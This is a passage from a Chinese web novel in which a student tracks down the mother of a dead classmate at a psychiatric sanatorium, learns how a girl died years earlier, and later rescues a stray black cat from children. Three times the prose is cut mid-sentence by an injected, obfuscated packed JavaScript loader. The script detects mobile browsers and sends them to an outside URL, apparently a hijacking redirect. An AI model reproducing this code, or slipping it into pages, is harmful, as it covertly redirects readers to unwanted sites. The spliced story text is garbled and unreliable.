简单洗漱了一番,就准备关灯睡觉,今晚接收到的信息多的不是一星半点,尤其最后莫名奇妙死掉的12个学生... 但她却不敢继续往下深想了。不知道是不是使用餍虫过量,不管是眼睛还是脑袋都有种说不出的难受。要是再思考下去,她实在担心自己大脑会直接炸掉,还不是形容词的那种。 但有时候就是这么天不随人愿。 ‘嗡...’ ‘嗡...’ 手机震动发出的嗡嗡声打断了她正打算按灭台灯的动作。 犹豫了两秒,拿过床头柜上的手机。 是秦以淮。 “我在你家门口。” 一接通电话,手机那头那传来这么一句。 安然就是有再好的家养,这会儿也绷不住了:“不是,你有病吧?!大半夜跑我家门口干嘛?!” 那边沉默了两秒:“我查到了江源母亲的落脚点。” 安然听后,压着火气:“所以呢?明天再去找,她就会消失?我看了一晚上的资料,头都要炸了,有什么事明天再说不行么?” 秦以淮沉默了很久:“我以为早点找到人,你会不生气一点...” “生气?谁?我么?什么时候?”安然一口气问了4个问题,实在想不明白这家伙三更半夜又在搞什么鬼。 “之前放餍虫在你身上,你生气了。” 这回轮到安然沉默了,过了好一会儿才耐着性子开口:“秦以淮,你到底想干嘛?说话正常点行么?先是装粘人包,又是装霸道总裁,现在怎么,又想走小可怜路线了?说吧,你到底想干嘛?” “我想跟你道个歉。” “道歉?现在?凌晨2点?你这反射弧也太长了吧?三更半夜这么折腾人有意思吗?!大少爷,想玩找别人玩去!你不睡觉,我还要睡呢!有什么事,明早再说!还有,下次不要随便出现在我家门口,这很让人讨厌,挂了。” “嘟嘟嘟嘟...” 秦以淮沉默地看着手机彻底暗下来屏幕,眼神不善地拨通了一个号码,声音冷的像是掺了冰渣:“秦风!” “少爷?”电话另一头的秦风按着嘴角伤口的手猛地一顿,听到这咬牙切齿声音,心脏不由一抽,连带着身上其他伤也跟着隐隐抽痛。他强忍着逃跑的冲动,心想又失败了?按理说不不应该啊...先服个软再来个突如其来的惊喜,女生应该喜欢才对啊? 难不成真是自己搞错了? 秦风快速回想了一下和秦以淮之前交谈的内容。 难道... 少爷一直以来说的朋友真的就只是朋友,而不是女朋友?! “这就是你说的百试百灵的道歉方式?你最好自己把坑挖好跳进去,否则等我回去,你连全尸都保不住。” “等等!少爷,都是...” “嘟嘟嘟嘟...” 都是误会! 都是误会啊! 挂了电话,秦以淮黑着脸,看了眼身后紧闭的房门,头也不回的离开了。 黑暗里。 一双泛着光的异瞳紧紧盯着那道背影,直到对方消失不见。 ********** 第二天。 直到正午的阳光从窗外投射进来,安然才从朦胧的梦境清醒过来。昨晚似乎做了一个漫长的梦,她在梦里过着另一种完全不同的生活,但真要让她回想具体内容,估计只能笼统的说句‘风景很美’,再多哪怕一点,都记不起来了。 再一看时间,已经12:40了。 看来昨晚真的是累坏了。 安然收拾妥当,跑到厨房冰箱拿出个馒头放在蒸屉上。 等馒头蒸熟的间隙给秦以淮拨去了电话。 听筒那边响了几声,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850088|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人接了起来:“喂?”听声音明显还没起床。 安然忍住翻白眼的冲动,真想来句‘少爷原来也是要睡觉的啊’,想想还是算了,脚踝上姜慧的眉毛已经完全消失了,就连左眼的眼珠也已经不见。 照这样的速度算,她已经没多少时间了。 “秦以淮,你昨晚说江妈妈在哪儿?你地址发给我,我现在过去。” “等我15分钟,我跟你一起。” 安然本来想问干嘛要一起,但想到昨天看的那些资料还得告诉对方,于是应承下来:“好。那就街口碰面。” “好。” 简单吃了个馒头,临出门前还是回楼上将餍虫放进了背包。 刚到街口,就见倚靠着车门的秦以淮垂眸看着手机。 安然突然有些后悔把见面地点定在了这里,这家伙实在和杏花街有种风马牛不相及的感觉。别说那些常年开店的店主,就连街边路过的行人,都会不自觉多看两眼。 她可不想这个时候凑上去,成为别人茶余饭后的谈资。正犹豫者要不要给秦以淮发个信息,让他把车停远一点。就听身后有人叫住她:“小然呐,又去图书馆啊?” “要不说还是小然会读书呢!周末都要去图书馆看书...不像我家那臭小子,这个点了,床都还没起!” 安然笑着回应:“没,今天有些事要处理。”她指着秦以淮所在的位置:“我同学在那儿等我呢!李奶奶,陈阿姨,我先走了。” “啊...哦,好,路上小心,注意安全。” 安然直接上了秦以淮的车。 既然避免不了成为谈资的命运,那就不如大大方方。 一上车,她就注意到了司机别样的造型,挑眉看了眼身侧的秦以淮:“都这样了,开车没问题?” 秦以淮还没说话,坐在前排的司机转过头笑道:“放心,安同学,我驾龄20多年呢,保准把您和少爷安全送到目的地。” 安然嘴角一抽。 这司机转过来以后更抽象了。整张脸就像是一盘不小心打翻了的颜料,青一块紫一块红一块,配上雪白的牙齿,看着实在有些狰狞。 她轻咳了一声,这司机造型是独特了点,但看年纪应该不大,20多年驾龄... 她询问地看向秦以淮:‘真的假的?’ 秦以淮瞥了对面一眼:“秦风,开你的车,再多说一个字,就给我滚下去。” 秦风赶忙转头,一脚踩下了油门。 ******** 秦风的车开的很稳。 一路上两人谁都没有说话,后排车位上气氛沉默的有些尴尬。 安然不说是因为不知道自己昨晚看到的那些能不能让开车的秦风听到,秦以淮不说,则是一看到安然就想到这两天听信秦风胡言乱语做下的糗事,一时间不知道该用什么态度面对身侧的人。 至于秦风则眼观鼻鼻观心,像是完全注意不到后排投来的锐利视线,只关注面前的路况和脚下的油门。 眼见着窗外的风景越来越陌生,道路两边的高楼也渐渐由茂盛的树木代替,安然才想起来,秦以淮之前还没说地址,于是看向身侧:“咱们这是去哪儿?” “封埠精神病院。” 37. 第37章 “她是那儿的护士。” 听到秦以淮补上的后半句,安然难看的脸色才好了不少。她虽然没见过精神病患者,出于人的本能,在知道对方有精神问题后不管那人说的话是真是假,估计打心底里就没有办法去相信。 好不容易找到个勉强能算个线索的线头真要就那么断了,她估计得怄死。拿出手机,打开搜索引擎,看向秦以淮:“哪个封哪个部?” 秦以淮侧头看了眼安然的手机,将身旁的一个牛皮袋子递给她:“看看。” 安然打开一看,映入眼底的是封埠精神病院的详细资料。 封埠精神病院的原名其实是叫‘封埠精神调理疗养院’,是一家民营的疗养院。 让她意外的是这里面接收的不止精神病患者,还有一些生活无法自理或子女无法在身边照顾的老人。 让精神病患者和老人住在一起... 这是什么骚操作? 不过占地面积倒是广,足有160多亩,比他们学校还要大上不少。 只是这么一大块地,别说一二线就是三四线的小城镇,光是地皮就是一笔不菲的金额,更别说还有后续的施工以及经营所需了。 但很快,她的疑惑便在资料下附带照片中得到了解答。 怪不得这么广阔,敢情是占了一座山头。四面环山,到处都是绿茵茵的植被。 按说像这样被绿色环抱的建筑该是生机勃勃的才对,但这照片却给人一种压抑阴暗的感觉,哪怕有阳光投射在纯白的建筑上,安然也感受不到任何暖意,看着照片就有种仿佛身处于一间了无生气的监狱。 安然按了按眉心,将那种毫无缘由的排斥赶了出去。她觉得自己大概率是受了先入为主的影响。 不过最让她意外的还是疗养院配备的医疗团队。看调查结果,院长和副院长都是精神科方面代表着权威的专家,主任及副主任医师都是这方面的顶尖人物,就连负责病患的医生们也是近两年新进的佼佼者。 但奇怪的是,这个可以堪称顶级完全可以傲视一众精神病院的医疗团队却并不在疗养院的宣传册里。 这完全违背了商人逐利的本能。 除非...他们的盈利点不在这上面,而是别的什么... 只是这念头只在安然脑海里打了个转,就散了。毕竟人家靠什么盈利跟自己没什么关系?这也不是她能操心的事。 视线下移,落在资料最后夹着两份档案上。 说是两份档案,但其实上面的单寸照都属于一个叫吴水妹的女人。 一份是应聘银座商城一家化妆品导购的求职简历。另一份则是来自于‘封埠精神调理疗养院’,也是求职简历,但应聘的却是护士。 导购员和护士... 这行业跨度是不是也有点太大了? 安然仔细将两份档案做了下对比,发现上面有很多的信息都不是不同的。 比如导购员那张的学历是初中肄业,护士那张却是某知名大学护理学本科毕业,工作经历一栏更是密密麻麻记录了不少堪称丰富的临床经验。 如果不看上面单寸照片,安然完全没办法将这两个有着天差地别经历的人看成一个。 “这个吴水妹是江源的妈妈?” 秦以淮点头:“嗯。” 安然视线落在这个纤瘦女人算得上清秀的眉眼上,指着手中的两份档案:“你觉得是怎么回事?” 秦以淮皱眉:“不好说。可能性太多了…”想了想又继续补充:“但这两份简历对于疗养院来来说,结果无非只有两种。” “怎么说?” “医院要么知情,要么就是被瞒在了鼓里。”秦以淮的声音淡淡的:“前者是医院不得不让吴水妹在那儿工作,至于后者,是吴水妹有不得不来这儿的理由。” 不得不承认,秦以淮看事情的角度很独特,而且一针见血。 时间在沉默中飞快流逝,车轮下的道路也渐渐从平坦变成了颠簸蜿蜒。 安然闭上眼睛,崎岖的山路竟让从来都不晕车的她也难得感到了恶心。 不知过了多久,他们终于在一扇巨大的铁门前停了下来。 秦风下车,和门口的保安交涉了一会儿才小跑着回来,看向后座的秦以淮:“少爷,里面不让进车,咱们只能在这儿下了。” “你在车上等着。” “可是少爷...” 秦以淮淡漠的眼神扫向秦风,便直接让对方将剩下的话直接堵在了喉咙里。 “是。” 两人下了车,不知道是不是阴天的原因,被巨大铁门隔开的疗养院在乌云的笼罩下仿若一间羁押死囚的监狱。山风拂过脸颊,带着山林特有的清新和冷冽,敞开的大门在安然眼里像极了野兽张开的巨口。 门口的保安将两人领到了不远处的会客室:“吴姐一会儿就到。” 安然道了谢,没多久一个穿着白色工作服的女人便出现在了会客室。 正是吴水妹无疑。 她比照片上更白也更加消瘦,鬓间参杂的斑驳银丝和眼角鱼尾般散落的褶皱都在客观陈述着眼前的女人已经容颜不再。但那双眼睛依旧明亮,仿佛一点都不在意岁月在她脸上留下怎样的痕迹。 “你们找我?”吴水妹的普通话并不标准带着南方人独有的吴侬,看向安然和秦以淮的眼神带诧异和不解。 “吴阿姨,您好,我们和您的儿子江源学长一样,都是一中的学生。”安然长得好看,尤其笑起来眉眼弯弯的样子在长辈眼里属于很干净很容易生出好感的长相。 不知道是因为安然表现出的无害还是因为两人来自江源曾就读过的学校,吴水妹眼中的审视淡了几分,但不解仍在:“你们找我有什么事么?” “我们想问问您...关于江源学长的事。”在来之前,她就已经想好了切入点,总不能一上来就问‘您儿子有和您说过自己曾害死过一个女孩么?’这种一听就要被打出去的问题。 可吴水妹的表情却让安然有些看不明白。不是难过,不是怀疑也不是愤怒,而是一种说不上来的释然:“你们想知道什么?” 这让安然之前准备好的一箩筐的说辞全部做了废,于是斟酌着开口:“江学长当初为什么没参加高考?” “你们想问的是那个叫...姜慧的女孩的事吧?” 这下别说是安然,就连坐在一旁始终都没说过话的秦以淮也惊讶地看向没什么表情的吴水妹:“你都知道?” 吴水妹自嘲一笑:“这十几年来没有一个人来找过我。如今你们突然出现,除了当年那件事...我也实在想不到别的了...”她看了眼对面的安然和秦以淮,语义不明:“只是没想到找过来的会是两个学生。” 接下来安然便从吴水妹那里得知了当年姜慧死后发生的事: 【小源高中的时候很喜欢一个女孩子。 我和他爸都看得出来,他那时候卯足了劲学习就是为了和那个女孩考上同一所大学。青春期有喜欢的人很正常,只要不欺负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850089|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家女孩子,也没什么不好。我和他爸爸就是高中同学。我们还幻想过,哪天小源能领个儿媳妇回来... 就在我们期待着一切都在往好的方向发展的时候,原本兴冲冲给同学过生日的小源,直到凌晨3点多才脸色苍白满头是血的回了家。我们当时都吓坏了,以为他是在回家的时候遇到了小混混... 但不管我们怎么问,他都始终一言不发。直到他爸说要报警,小源才说头上的血是假的,生日宴上大家玩的有点过火,闹了点不愉快。 我们看了他头上粘着的东西,闻上去很腥,但也确实不像人血,主要是也没找到伤口,就想着可能是有人恶作剧捉弄了小源,所以他的脸色才会那么难看。如果...我当时能再多问一问,也许就不会发生后面那些事了... 打那天起,小源就变得有些心不在焉,整个人都恍恍惚惚的。我们那时候怀疑他可能是表白被人家姑娘拒绝了,一时有些接受不了,等过一阵子恢复就好了。 过了大概10来天,他也确实好了不少,我们都以为他缓过那股劲了。可临近高考前的一个月,小源却再次情绪崩溃,这一次远比之前要严重得多... 他把自己关在房间整整半个月都不出门。我和他爸都急的不行,但我们不敢问,更不敢逼他,实在怕他想不开钻牛角尖... 就只能跟着他一天天的熬...好不容易熬到他自己走出房间...看见我们的第一句话就是自己不想参加高考了,想去外地工作。 他当时那个样子... 我们怕如果不答应很可能就要永远失去这个儿子了... 所以我们同意了。 我们安排小源去他舅舅的玉石雕刻工作室做学徒,也算以后能有门糊口的手艺。 好在他在雕刻上还算是有些天分,送去比赛的作品,大大小小也获得了不少奖,我们都看到了希望,小源也渐渐从那种颓废的情绪里走了出来。 我们那时就想着他能好好活着就好,哪怕不愿意找对象也没关系,但没想到最后的那点期望也成了奢侈... 我记得那一天是2009年4月20号。 小源突然一脸惊慌的跑回家,说自己看到了鬼。他当时整个人慌的不行,一边哭一边道歉说自己不是故意的。我当时就有了不好的预感,赶紧给他爸单位去了电话。 小源那个样子明显不对,我走到哪儿,他就跟到哪儿,就是上厕所也得让人陪着。一直等到他爸回来,才绷不住把当年的事断断续续说了出来。 小源说那小姑娘叫姜慧。 是他喜欢的那个叫夏澄澄的女孩儿的好朋友。 那姑娘之前在学校被人造谣,就是夏澄澄想办法给人澄清的。但姜慧却以怨报德...小源看夏澄澄总是闷闷不乐,所以他们几个才联合起来,想要给姜慧一个教训,小源说他们那时候就是想要吓唬吓唬对方,没想到她会摔下楼梯...那可是一条活生生人命啊...小源他怎么能...怎么能做出那样的事...】 吴水妹提起当年,仍旧抑制不住的激动。但在安然看来,她的情绪里并似乎不全是震惊,其中还夹杂着一种恨铁不成钢的愤怒,像是十分不理解自己的儿子为什么会为了一个女孩做出如此离谱的事情。 安然抽了几张纸巾递给吴水妹,她知道这事儿还有后续。 果然,吴水妹平复完情绪,再看向两人时眼中满是说不出嘲讽:“但你们知道最离谱的是什么么?那个叫夏澄澄的女孩才是整件事的罪魁祸首!” 38. 第38章 “因为姜慧无意间发现了夏澄澄和她继父肮脏的关系。小源也看到了,就在高考前的一个月...” 安然皱眉:“江源学长是怎么知道姜慧学姐也看到了的?” “小源无意间曾看到过姜慧送给夏澄澄的生日礼物...是一个微型摄像头。”吴水妹勾起一边唇角:“呵,讽刺吧?她想帮夏澄澄逃离那个男人,却成了自己最后丧命的理由。” “小源接受不了自己看到的东西,更不敢相信自己被对方利用了。于是便找夏澄澄对峙,也许那小姑娘就是仗着我儿子喜欢她,竟然毫不避讳地将事情的始末全说了...” “她给姜慧喝的水里加了致幻剂,加上他们当时刻意营造的氛围,两者叠加,才导致姜慧最后失足摔下楼梯!就因为姜慧一直在劝她报警,劝她离开那个禽兽,她却觉得姜慧恩将仇报,觉得姜慧嫉妒她!想要毁了她!” “这就是人性。” “夏澄澄无法预测那样做所带来的后果,她对未知充满了恐惧,更何况她还有个需要常年住院的妈。那个男人能负担她妈妈的医药费以及她目前所有的开销。说白了就是夏澄澄无法接受失去这一切后的所要面临的困境,她害怕姜慧会让自己一无所有。那些优异的成绩、令人称赞的人品、良好的家世以及光明的未来...所以哪怕获得这些的过程肮脏且龌龊,她也会毫无犹豫踢开所有挡在路上的一切绊脚石。姜慧是,小源也是。” “我和他爸知道了前因后果以后,考虑了很久...说实话,我们那时候是不相信有鬼的。觉得小源大概是看到了和姜慧长得很像的人,因为愧疚产生了幻觉。我知道小源在这件事上有错,但罪不至死。我们最后决定带着小源去自首,如果不解开当年的心结,我怕小源终有一天还是会崩溃...退一万步来讲,哪怕这世上真有鬼,让那姑娘沉冤得雪,也算是一种亡羊补牢的方式...不是么?” 安然抿唇不语。 羊已经死了,即便补了牢,拯救的也不是死掉的那只。 但她什么都没说,她知道自己没有资格剥夺别人自欺欺人的权力。 “但小源当时太害怕了...他害怕自己会一个人待在审讯室。所以我和他爸就商量着兵分两路,他带着小源先去警局,我去家附近的清灵观求一道平安符,也算给他个心理慰藉...但我没想到...” “我...没想到...他们会发生车祸...” 吴水妹布满血丝的双眼满是泪水,没有声嘶力竭的哭喊,但眼中的绝望却透过弥漫的水光被无限放大,整个会客室都蔓延着悲痛的情绪。 女人鬓边的银丝随着她压抑的抽泣微微颤动,让人喉间忍不住跟着发紧。 安然沉默地走到吴水妹身后,轻抚着对方的后背,掌心下的脊背猛地绷紧,但随着一下下的安抚又一点点松懈下来。 秦以淮低垂的眉眼微微向上,余光瞥向对面的两人,眸中情绪越发意味不明。 直到吴水妹抽泣声渐渐小了,安然才重新回到自己的位置。 “抱歉,让你们看笑话了。”吴水妹抹了把脸:“他爸用身体护住了小源,当场就死了...小源他虽然被抢救了回来,但因为当时的事受到了强烈的冲击,醒来后...就傻了。” “但我不能忍受只有我儿子一个人受到惩罚,所以小源一出院,我就准备去报警,就在这个时候,我听到了那几个人的死讯...” “恶有恶报。很公平。” “也是那个时候,我开始相信这个世界上真的有鬼存在。” 安然能听出吴水妹语气里明显的快意,她对那几个人显然是带着恨意的,想必是觉得是那些人带坏了江源。 “那您后来为什么没去报警?” “报警?”吴水妹勾起一边唇角,眼神冰冷:“他们都死了,我为什么还要报警?” 安然一愣,眼前的这个女人不止恨夏澄澄那几个,她还恨姜慧。恨姜慧杀了她的丈夫,恨她让江源成了傻子。 “那您知道...姜慧的尸体在哪儿么?” 吴水妹沉默了。 那双过分明亮的眼眸低垂着,将所有情绪尽数敛去,像是没有听见安然的问题,又像是正看着桌上的纸巾盒发呆。 就在安然以为对方巴不得姜慧永远不见天日时,吴水妹却突然长长吐出一口气,先前还如烧刀子般浓烈的恨意就那样散了。 她用那双亮到有些瘆人的眼睛看向安然,一字一句:“她就在你们学校后山上的那片湖水里。” ****** 回程的路上,安然始终沉默着。心中没有半分事情马上就要解决的喜悦。 说不上来是为什么。 但她知道自己的情绪并非因为事件中的参与者,而是源于事件本身。 吾之蜜糖彼之砒霜。 姜慧和夏澄澄... 原本没有必要非走到这一步的。 一个急于让对方摆脱困境,一个又深陷泥潭无法自拔。 谁都没有好好问一问对方真正想要的究竟是什么。 那她呢? 她有没有好好问一问丁筝? 如果那时不是自己一味只愿意相信自己认知里的东西... 那现在呢? 自己这样不停的寻找丁筝...丁筝真的需要么?如果这种追查到底的行为只是自己的一厢情愿...呢?如果她对这一切是排斥甚至是厌恶的,自己真的还要继续下去么... 安然垂眸。 就算丁筝不需要... 搭在双膝上的双手缓缓握紧。 那她也要亲自听丁筝说出口。 “尸体的事,我会派人确认和报警。” 安然一怔。 开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850090|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始还没听出对方话里的意思,过了几秒才反应过来秦以淮这么说是在帮自己。 姜慧的尸体如果真的在湖里这么多年都没有被发现,想来是江源他们在她尸体上绑了什么重物,以至于尸体一直没有浮出水面。 想要报警,就必须先确认尸体的确在湖底。 而真正的重头戏在确认尸体后,才算正式开始。 安然可不觉得自己在面对帽子叔叔的询问,能自圆其说,不露半点马脚。 比如对方要是问尸体是怎么发现的? 总不能说是梦游跑到湖边然后洗了个澡就发现的吧? 真要将自己去找过江源妈妈的事说出来,后面的问题又要怎么回答?姜慧和她根本就是两条永不相交的平行线,难不成说自己遇到姜慧的鬼魂,不找出对方的执念自己就会死? 真要那样,封埠精神病院百分百能有她的一席之地。 所以对于秦以淮的帮助,她是真心觉得感激的。 “谢谢你,秦以淮。”安然直视对方的眼睛,语气诚恳:“等这事了结了,请你吃饭。” “咳。”秦以淮没想到安然会这么正式的和自己道谢,别过眼,耳尖微微泛红:“这有什么...” ****** 封埠精神调理疗养院。 “我已经按照之前说好的将事情所有的经过全部告诉了他们...什么时候能放我们母子离开?” 电话那头不知道说了什么。 那人垂在身侧的手猛地握紧将白色的护士制服捏的皱成了团。 “这和我们之前说好的不一样!”声音里带着难以抑制的愤怒,只是很快就便被强行克制住了:“你究竟想怎么样?快20年了,也该够了!” 电话那头的人似乎是笑了。 笑声越来越大,大到直接从有些破音的听筒里飘散出来,在空旷的楼道显得有些瘆人。 电话那边似乎是笑够了,对着听筒又说了什么。 这头接电话的吴水妹脸色越来越苍白,耳畔的手机像是下一秒就会被她捏变了形。突然,她整个人像是个泄了气的皮球,认命的低下了头,但问出来的话仍旧强硬:“我怎么知道你这次会不会说到做到?” 电话那头又笑了。 似乎也听出了吴水妹话里的妥协和故作强硬。 漏音的话筒零星传出几个模糊的音节。 吴水妹默默的听着,紧咬的牙关和颤抖的双手清晰地表明了她对电话那头愤怒至极还有无能为力。 沉默。 另一头也不着急,就那样耐心的等待着,像是丛林里极具耐心且经验丰富的捕食者。 空气变得稀薄而泛着微微的咸味。 “好。我答应你。” “啪——” 手机掉在了冰冷的水泥地上,一同落地的还有一滴小小的水痕... 39. 第39章 往常这个点儿杏花街上的铺子早就关的差不多了,大约是清明将至未至,所以偶尔还能见到几个采买祭奠物品的客人。 秦以淮将安然放到街口,约好明天见面的时间和地点,就离开了。 安然看了眼车子离开的方向,看来秦以淮也并不能随心所欲。 秦风... 秦以淮对他并没有表现出的那样信任。从他不愿意让对方跟着一起进封埠精神病院的时候安然就大概猜出了一二。所以这一路她半句也没提灵异社事件簿以及找人的事。再加上不知道找到尸体就能了结姜慧的执念还是真相大白才算,眼下确定尸体的存在便成了他们迫在眉睫的首要任务。 安然看着宛若被推到的多米诺骨牌般一盏接一盏亮起来路灯,自己的人事已经尽到了,接下来就看天命如何安排了。 拢了拢身后的背包,刚要往家走,就看见街对面几个手上拿着各种‘武器’的小屁孩儿一窝蜂从她面前跑过,一边跑还一边说‘武器这回都带齐了,看他咋跑!’、‘抓到了,真的能换钱买好吃的么?’之类的话。其中一个小孩手上的那把竹丝做的扫帚在经过安然的时候更是在她手臂上狠狠划了一下,那小孩明显也感觉到了阻力,但只是回头看了眼安然,什么都没说就跑走了。 安然皱眉看着自己手臂上被刮出来的红痕,想也没想就追了上去。 但让她没想到的是,那几个孩子跑的还挺快,刚过完马路,竟就一溜烟跑了个没影。 安然凭着感觉又往前走了一段路,总觉得那几个孩子气势汹汹的样子干的不会是什么好事。要知道有时候小孩子残忍起来,可比大人可怕的多,毕竟很多事在他们看来只是单纯觉得好玩或是好奇而已。 可眼看着周围的环境越来越偏,路灯也是隔了百来米才有一盏,愣是没看见那几个孩子的身影。 难道是刚刚的岔路口走错了? 安然不信邪地又往前走了一段路,就在她路过一个看上去有些阴暗的胡同的时候,还真瞥见了几道模糊的身影挤在胡同的角落里。 胡同有些长,她也不确定那己道模糊的暗灰色到底是不是刚刚那几个孩子。 她往前走了几步。 脚下棍子扫帚拖把之类扔了一地。 看来是没错了。 只见那几个孩子围成一圈,几双手同时死死按着中间不断挣扎的一团。 “他怎么力气这么大!” “感觉要压不住了!” “啊!他咬我!” “流血了...呜呜呜...好疼...呜呜呜...” “别哭了!快!快把衣服脱下来盖住他的脑袋!” “要不打死算了?” “我叔说要活的!死了就没钱了!还想不想买正版卡了?” “快把你外套脱了!” 安然越听眉头皱的越紧,赶忙制止:“喂!你们几个在做什么?!” 大概是几人所有的注意力都在中间被按着的东西上,乍一听到人声,几双按着的手同时一松,被套在衣服底下的东西猛地窜了出去。 那是一只猫。 一只黑色的猫。 安然皱眉:“小黑?” 原本窜出去老远的小黑猫似乎听见了安然的呼唤,竟真的停了下来,扭头看她:‘喵呜...’ 果然是一金一绿的异瞳。 小黑调转方向,直接窜到了安然的脚边,对着她喵呜喵呜叫着像个被人欺负后委屈巴巴告状的小朋友。 那几个小孩儿见小黑猫竟然有主人,都下意识往后退了一步,表情也变得忐忑了起来。 只有那个领头的孩子看上去似乎并不怎么害怕,指着黑猫:“这是你养的?” 安然弯腰将小黑抱进怀里:“不然呢。” “你说谎!”领头的孩子指着安然:“这明明就是一只流浪猫,我经常在街上看到它,要是有主人,怎么会一直待在外面?流浪猫本来就是谁先抓到就归谁!是我们先抓到的,你凭什么抢我的猫?” 安然都被这孩子的强盗逻辑给气笑了:“我喜欢散养,不行么?”她一边给小黑顺毛一边检查它身上有没有留下什么伤口。 小黑似乎很享受安然的抚摸,一直低低发出呼噜呼噜的声音,还时不时用头蹭一蹭安然的指尖。 “那你拿什么证明这是你的猫?证明不了的话就说明你撒谎!就得把它还给我们!”男孩不依不饶。 “那你又有什么凭证说这猫不是我养的?再说了,谁告诉你流浪猫谁抓到就归谁的??” “我叔说了流浪猫没有主人,谁抓到谁就是它的主人!它们被原来的主人扔掉了,不要的东西为什么我不能捡?老师都说别人不要的东西,捡回家没关系!你难道比老师还厉害?”男孩的这段话明显给了他身后的那几个孩子不少底气。先前还和鹌鹑似的垂着的头也立马昂了起来。 安然挑眉,没想到领头的小鬼头逻辑还挺强,怪不得能成为那几个孩子的主心骨。 “哦?那你们老师真的好厉害呢!我倒是要问一问他,他口中所谓丢掉的东西是不是也包括那些小动物!顺便问问是不是他教你们随便虐待街上的流浪猫狗的?” 果然。 只要是学生对于向老师告状这种事都是害怕的。哪怕那个嘴硬的小男孩眼中也闪过一丝惊慌,但很快竟就镇定了下来:“你爱问不问!” 安然自然知道这家伙有恃无恐的原因,于是笑着看着男孩身后那几个小孩身上:“既然这样,不如让我来猜猜你们是哪个学校的...” “实验小学么?” “不对...怀阳二小?” “嗯...也不是怀阳二小...” “那就是怀阳中心小学了。” 果然那几个小孩听到安然说出自己学校的校名,齐刷刷变了脸色,全都一脸难以置信的看向安然。 安然觉得有些好笑,能在这个点只在还在这片区域玩闹,说明这帮孩子家住的都不远,而他们这儿就这么三所小学,前两个都不是,自然就是 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安然没有说的很明白,但小男孩的脸刷一下就白了。他见过他叔叔是怎么用那些流浪猫狗赚钱的,他爸妈偶尔也会参与,说是能赚钱,能赚很多很多钱。他的新版游戏机,绝版卡片,还有他最喜欢的监控人战袍都是用那些钱买的。 他们也告诉他,千万不能把这些告诉其它人,一旦说了,就会有人跟他们抢那些猫狗,到时候赚不到钱,就再也买不了那些让班上所有人都羡慕的玩具。所以这件事他谁都没说,就是跟他关系最好的浩浩也没提过一个字。 那么眼前的这个人又是怎么知道的? 难道... 见领头男孩真的被自己唬住,安然指尖隔空虚点在几人身上:“1。2。3。4。5。”她的语气突然变得阴森:“你们五个记住了...不要再去抓那些流浪猫流浪狗。否则...” 剩下的话,她没有说下去,但那几个孩子明显瑟缩了一下。 只有带头的那个男孩强撑着,仍旧不肯服软:“你当我们三岁小孩子么?傻子才信!” “那我们打个赌,怎么样?”安然笑眯眯地看向男孩。 “赌...赌什么?” “赌你叔叔接下来会不会倒霉。如果我说他再不收手,接下来一定会倒霉。你信么?” 胡同里光线本来就暗,再加上安然逆光站在巷口,大半个身体都被笼在黑暗里,男孩看不见她的表情,但她的语气在太过笃定,就像她说的话一定会成真一般,男孩嘴唇动了动,竟就那样直接逃跑了。 剩下那几个孩子见男孩跑了,你看看我我看看你,也跟着跑了个一干二净。 安然勾了勾唇。 是人就不会一帆风顺,她这话一出口,但凡那孩子的叔叔遇到点什么不顺的事,他就一定会下意识往这上面想。 她不知道这法子能撑多久,但最起码在短时间内,那几个小鬼不会再对那些流浪猫狗做点什么… 40. 第40章 一人一猫回到家,已经是晚上8:30。 黑猫从安然怀里跳出来,巡视领地般走了一圈便趴在了离厨房不远的地方。 安然今天总共就吃了一个馒头,这会儿老早就饿的前胸贴后背,随手拿出一片土司放进嘴里,一边叼着一边搜罗能吃的东西。 冰箱里吃的东西虽然不少,但大多数肉类比如排骨、牛肉之类在做之前都必须要解冻,光是想想就觉得麻烦。只是真当安然手指触碰到玉米的真空包装袋时,她还是忍不住瞥了眼趴在厨房不远处的小黑猫,抿了抿唇,认命地打开下层的冷冻室,拿出一块分割好的牛腩,又拿了个冻得硬邦邦的西红柿,连着包装一起放到凉水里解冻。 算了。 累了一天也是该吃点好的补补。 晚饭一时半会儿是吃不上了。看着趴在地上舔毛的黑猫,想着干脆先带这小东西去洗个澡算了。 回来的路上,安然就决定暂时让它住在家里,等老爷子回来再看看这个能吃掉餍虫眼珠子的小家伙究竟是何方神圣。 抱着黑猫走进浴室,安然心里其实还挺忐忑的,尤其看了网上那些毛孩子疯狂逃避洗澡的视频,心里更是一点底都没有。 她怕它挣扎,也怕自己弄疼这小东西。 “要给你洗澡喽,一会儿要乖乖的...知道么?”这话她也不知道是说给它还是自己听的。 但这小东西却是一点面子都不给,安然话音一落,扭头就往门口跑。 